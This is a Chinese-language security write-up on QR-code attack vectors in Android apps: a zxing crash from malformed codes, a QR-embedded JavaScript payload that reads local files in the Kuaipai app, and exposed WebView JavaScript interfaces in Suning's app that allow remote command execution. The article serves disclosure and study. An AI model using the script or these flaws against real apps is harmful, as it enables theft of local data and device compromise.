現在Android App幾乎都有二維碼掃描功能,如果沒有考慮到二維碼可能存在的安全問題,將會導致掃描二維碼就會受到漏洞攻擊,嚴重的可能導致手機被控制,信息泄漏等風險。
低版本的zxing這個二維碼庫在處理畸形二維碼時存在數組越界,導致拒絕服務。掃描下面的二維碼,可能導致主程序崩潰:
通過程序的崩潰日志可以看出是個數組越界:
11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396
11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888
11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.common.BitSource.readBits(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source)
之前Wooyun上爆了一個利用惡意二維碼攻擊快拍的漏洞,識別出來的二維碼默認以html形式展示(Android+Iphone),可以執行html和js。將下面的js在cli.im網站上生成二維碼:
#!js
<script>
x=new XMLHttpRequest();
if(x.overrideMimeType)
x.overrideMimeType('text/xml');
x.open("GET", "file://///default.prop", false);
x.send(null);
alert(x.responseText);
</script>
用快拍掃描之后,就能讀取本地文件內容:
去年,Android平臺上的Webview UXSS漏洞被吵的沸沸揚揚,由于低版本的Android系統自帶的Webview組件使用Webkit作為內核,導致Webkit的歷史漏洞就存在于Webview里面,其中就包括危害比較大的UXSS漏洞。
Webview組件幾乎存在于所有Android App中,用來渲染網頁。如果掃描二維碼得到的結果是個網址,大部分App會直接用Webview來打開,由于Webview存在UXSS漏洞,很容易導致資金被竊、帳號被盜或者隱私泄露。漏洞介紹可參考TSRC博文:Android Webview UXSS 漏洞攻防
大部分Android App掃描二維碼之后,如果識別到的二維碼內容是個網址時,會直接調用Webview來進行展示。如果Webview導出了js接口,并且targetSDK是在17以下,就會受到遠程命令執行漏洞攻擊風險。
蘇寧易購Android版掃描二維碼會用Webview打開網頁,由于蘇寧易購導出多個js接口,因此掃描二維碼即會受到遠程命令執行漏洞攻擊(最新版本已修復)。
com.suning.mobile.ebuy.host.webview.WebViewActivity
導出多個js接口:
#!java
this.b(this.a);
this.s = this.findViewById(2131494713);
this.d = this.findViewById(2131494100);
this.d.a(((BaseFragmentActivity)this));
this.l = new SNNativeClientJsApi(this);
this.d.addJavascriptInterface(this.l, "client");
this.d.addJavascriptInterface(this.l, "SNNativeClient");
this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge");
由于targetSDKversion為14,因此所有Android系統版本都受影響:
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="14"
>
</uses-sdk>
蘇寧易購Android版首頁有個掃描二維碼的功能:
掃描二維碼時,如果二維碼是個網頁鏈接,就會調用上面的Webview組件打開惡意網頁:
惡意二維碼如下:
二維碼可能攻擊的點還不止上面列的那些,發散下思維,還有zip目錄遍歷導致的遠程代碼執行漏洞,還有sql注入漏洞,說不定還有緩沖區溢出漏洞。思想有多遠,攻擊面就有多寬!Have Fun!